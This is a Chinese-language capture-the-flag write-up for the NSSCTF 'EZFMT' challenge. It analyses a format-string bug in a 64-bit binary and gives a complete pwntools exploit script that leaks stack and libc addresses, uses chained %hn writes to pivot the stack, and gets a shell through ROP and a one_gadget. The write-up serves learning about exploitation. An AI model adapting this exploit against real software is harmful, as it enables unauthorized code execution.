NSSCTF EZFMT – 格式化字符串栈溢出
这道题感觉是格式化字符串使用比较全面的例子,留个档记录下。
保护查看与静态分析
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000)
|
程序为amd64架构,开启了NX与partial RELRO。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int __cdecl main(int argc, const char **argv, const char **envp) { int i;
init_io(argc, argv, envp); puts("Welcome to 3rd"); puts("fmt challenge"); for ( i = 0; i <= 6; ++i ) { puts(">"); read(0, buf, 0x100uLL); printf(buf); } return 0; }
|
IDA静态分析如上,发现main函数中存在格式化字符串漏洞,允许向bss段中写入0x100个字节,总计可以执行7次。
漏洞利用
printf会从栈中取参数,但我们的输入却在bss上,因此我们不能直接向栈中写入地址,因此我们考虑栈迁移到bss段。如果我们想要栈迁移,不可避免的是修改rbp,如果我们可以往栈内输入,可以直接泄露栈地址向栈中输入rbp的地址,再利用%n实现修改rbp。但我们不能向栈内写时,该如何修改栈中的数据呢。
我们首先开始调试,将断点下在printf前,查看栈内状态。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| pwndbg> stack 0x30 00:0000│ rsp 0x7fffffffdf68 —▸ 0x401247 (main+106) ◂— add dword ptr [rbp - 4], 1 01:0008│-010 0x7fffffffdf70 —▸ 0x7fffffffe070 ◂— 1 02:0010│-008 0x7fffffffdf78 ◂— 0 03:0018│ rbp 0x7fffffffdf80 ◂— 0 04:0020│+008 0x7fffffffdf88 —▸ 0x7ffff7df9083 (__libc_start_main+243) ◂— mov edi, eax 05:0028│+010 0x7fffffffdf90 ◂— 0x50 /* 'P' */ 06:0030│+018 0x7fffffffdf98 —▸ 0x7fffffffe078 —▸ 0x7fffffffe3a7 ◂— '/home/dov3/quz/NSS/ezfmt/pwn' 07:0038│+020 0x7fffffffdfa0 ◂— 0x1f7fbd7a0 08:0040│+028 0x7fffffffdfa8 —▸ 0x4011dd (main) ◂— endbr64 09:0048│+030 0x7fffffffdfb0 —▸ 0x401260 (__libc_csu_init) ◂— endbr64 0a:0050│+038 0x7fffffffdfb8 ◂— 0x24f5fc9ff668308d 0b:0058│+040 0x7fffffffdfc0 —▸ 0x4010b0 (_start) ◂— endbr64 0c:0060│+048 0x7fffffffdfc8 —▸ 0x7fffffffe070 ◂— 1 0d:0068│+050 0x7fffffffdfd0 ◂— 0 0e:0070│+058 0x7fffffffdfd8 ◂— 0 0f:0078│+060 0x7fffffffdfe0 ◂— 0xdb0a03604948308d 10:0080│+068 0x7fffffffdfe8 ◂— 0xdb0a1320d606308d 11:0088│+070 0x7fffffffdff0 ◂— 0 ... ↓ 2 skipped 14:00a0│+088 0x7fffffffe008 ◂— 1 15:00a8│+090 0x7fffffffe010 —▸ 0x7fffffffe078 —▸ 0x7fffffffe3a7 ◂— '/home/dov3/quz/NSS/ezfmt/pwn' 16:00b0│+098 0x7fffffffe018 —▸ 0x7fffffffe088 —▸ 0x7fffffffe3c4 ◂— 'SHELL=/bin/bash' 17:00b8│+0a0 0x7fffffffe020 —▸ 0x7ffff7ffe190 ◂— 0 18:00c0│+0a8 0x7fffffffe028 ◂— 0 19:00c8│+0b0 0x7fffffffe030 ◂— 0 1a:00d0│+0b8 0x7fffffffe038 —▸ 0x4010b0 (_start) ◂— endbr64 1b:00d8│+0c0 0x7fffffffe040 —▸ 0x7fffffffe070 ◂— 1 1c:00e0│+0c8 0x7fffffffe048 ◂— 0 1d:00e8│+0d0 0x7fffffffe050 ◂— 0 1e:00f0│+0d8 0x7fffffffe058 —▸ 0x4010de (_start+46) ◂— hlt 1f:00f8│+0e0 0x7fffffffe060 —▸ 0x7fffffffe068 ◂— 0x1c 20:0100│+0e8 0x7fffffffe068 ◂— 0x1c 21:0108│ r13 0x7fffffffe070 ◂— 1 22:0110│+0f8 0x7fffffffe078 —▸ 0x7fffffffe3a7 ◂— '/home/dov3/quz/NSS/ezfmt/pwn' 23:0118│+100 0x7fffffffe080 ◂— 0 24:0120│+108 0x7fffffffe088 —▸ 0x7fffffffe3c4 ◂— 'SHELL=/bin/bash'
|
我们可以看到,rbp + 0x18的位置 存了rbp + 0xf8的地址,而这个地址内又存了另一个栈中的地址。利用这一结构,我们就能实现对栈内的数据进行写。
首先我们通过%n修改rbp + 0x18处的地址为我们想要修改的位置的地址,由于按页加载机制,我们只需要覆写低地址几位即可。这时rbp + 0xf8处就存了我们想要修改的地址。之后再次通过%n修改这一地址即可实现任意地址写,这道题我们则需要修改rbp与返回地址。
这样我们可以得到一组payload,每次利用需要用掉两次输入机会。
1 2 3 4
| payload1 = ("%{}c%11$hn".format(target)).encode() payload2 = ("%{}c%39$hn".format(content)).encode()
|
考虑到我们修改一个地址可能需要利用多次,7次的限制可能会很紧俏。但好消息是我们发现已经循环次数也存在栈中,因此我们同样可以修改这一数值。我们只需要在次数不够用时把这个值缩小即可继续进行利用。
我们需要栈迁移的话,需要两次leave;ret,因此我们还需要修改返回地址。修改方法和上面相同。
整体的利用流程如下
1 2 3
| 1,泄露栈地址以及libc地址 2,修改rbp与返回地址 3,写入ROP执行栈迁移得到shell
|
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import * from LibcSearcher import * s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) itr = lambda :io.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) ls = lambda data :log.success(data) lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64' context.log_level = 'debug'
binary = './pwn' libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc if (libelf!=''): libc = ELF(libelf)
io = process("./pwn")
payload1 = b"%39$lx.%3$lx.%11$lx" ru(b">\n") sl(payload1) aim = int(ru(b"."),16) ls(hex(aim)) libc_read = int(ru(b"."),16)-18 rbp = int(ru(b"\n",),16) - 0x118 +0x20 ls(hex(libc_read)) ls(hex(rbp)) libc = LibcSearcher("read",libc_read) libc_base = libc_read - libc.dump("read") one_gadget = libc_base + 0xe3afe bin_sh = libc_base + libc.dump("str_bin_sh") rdi_ret = 0x4012c3 r12_13_14_15 = 0x4012bc ls(hex(libc_base))
a = rbp & 0xffff ls(hex(a)) payload2 = ("%{}c%11$hn".format(a)).encode() ru(b">\n") sl(payload2) b = 0x4088 payload3 = ("%{}c%39$hn".format(b)).encode() ru(b">\n")
sl(payload3) c = a+2 ls(hex(c)) payload4 = ("%{}c%11$hn".format(c)).encode() ru(b">\n") sl(payload4) b = 0x40 payload5 = ("%{}c%39$hhn".format(b)).encode() ru(b">\n") sl(payload5)
d = a-4 ls(hex(d)) payload6 = ("%{}c%11$hn".format(d)).encode() ru(b">\n") sl(payload6) payload5 = ("%39$hhn").encode() ru(b">\n") sl(payload5)
d = a+8 ls(hex(d)) payload6 = ("%{}c%11$hn".format(d)).encode() ru(b">\n") sl(payload6) b = 0x1256 payload5 = ("%{}c%39$hn".format(b)).encode() ru(b">\n") sl(payload5) d = a+10 ls(hex(d)) payload6 = ("%{}c%11$hn".format(d)).encode() ru(b">\n") sl(payload6) b = 0x40 payload5 = ("%{}c%39$hn".format(b)).encode() ru(b">\n") sl(payload5)
d = a-4 ls(hex(d)) payload6 = ("%{}c%11$hn".format(d)).encode() ru(b">\n") sl(payload6) b = 0x3 payload5 = ("%{}c%39$hhn".format(b)).encode() ru(b">\n") sl(payload5)
d = a+12 ls(hex(d)) payload6 = ("%{}c%11$hn".format(d)).encode() ru(b">\n") sl(payload6) payload5 = ("%39$n").encode() ru(b">\n") sl(payload5)
payload6 = p64(rbp)+p64(rbp)+p64(rdi_ret)+p64(bin_sh)+p64(r12_13_14_15)+ p64(0)*4 +p64(one_gadget) ru(b">\n")
sl(payload6) itr()
|
后记
一开始尝试使用system拿到shell,但尝试后发现system会向rsp-0x300左右的一个位置写,这里没有权限导致无法执行。最后换成了one_gadget才得以执行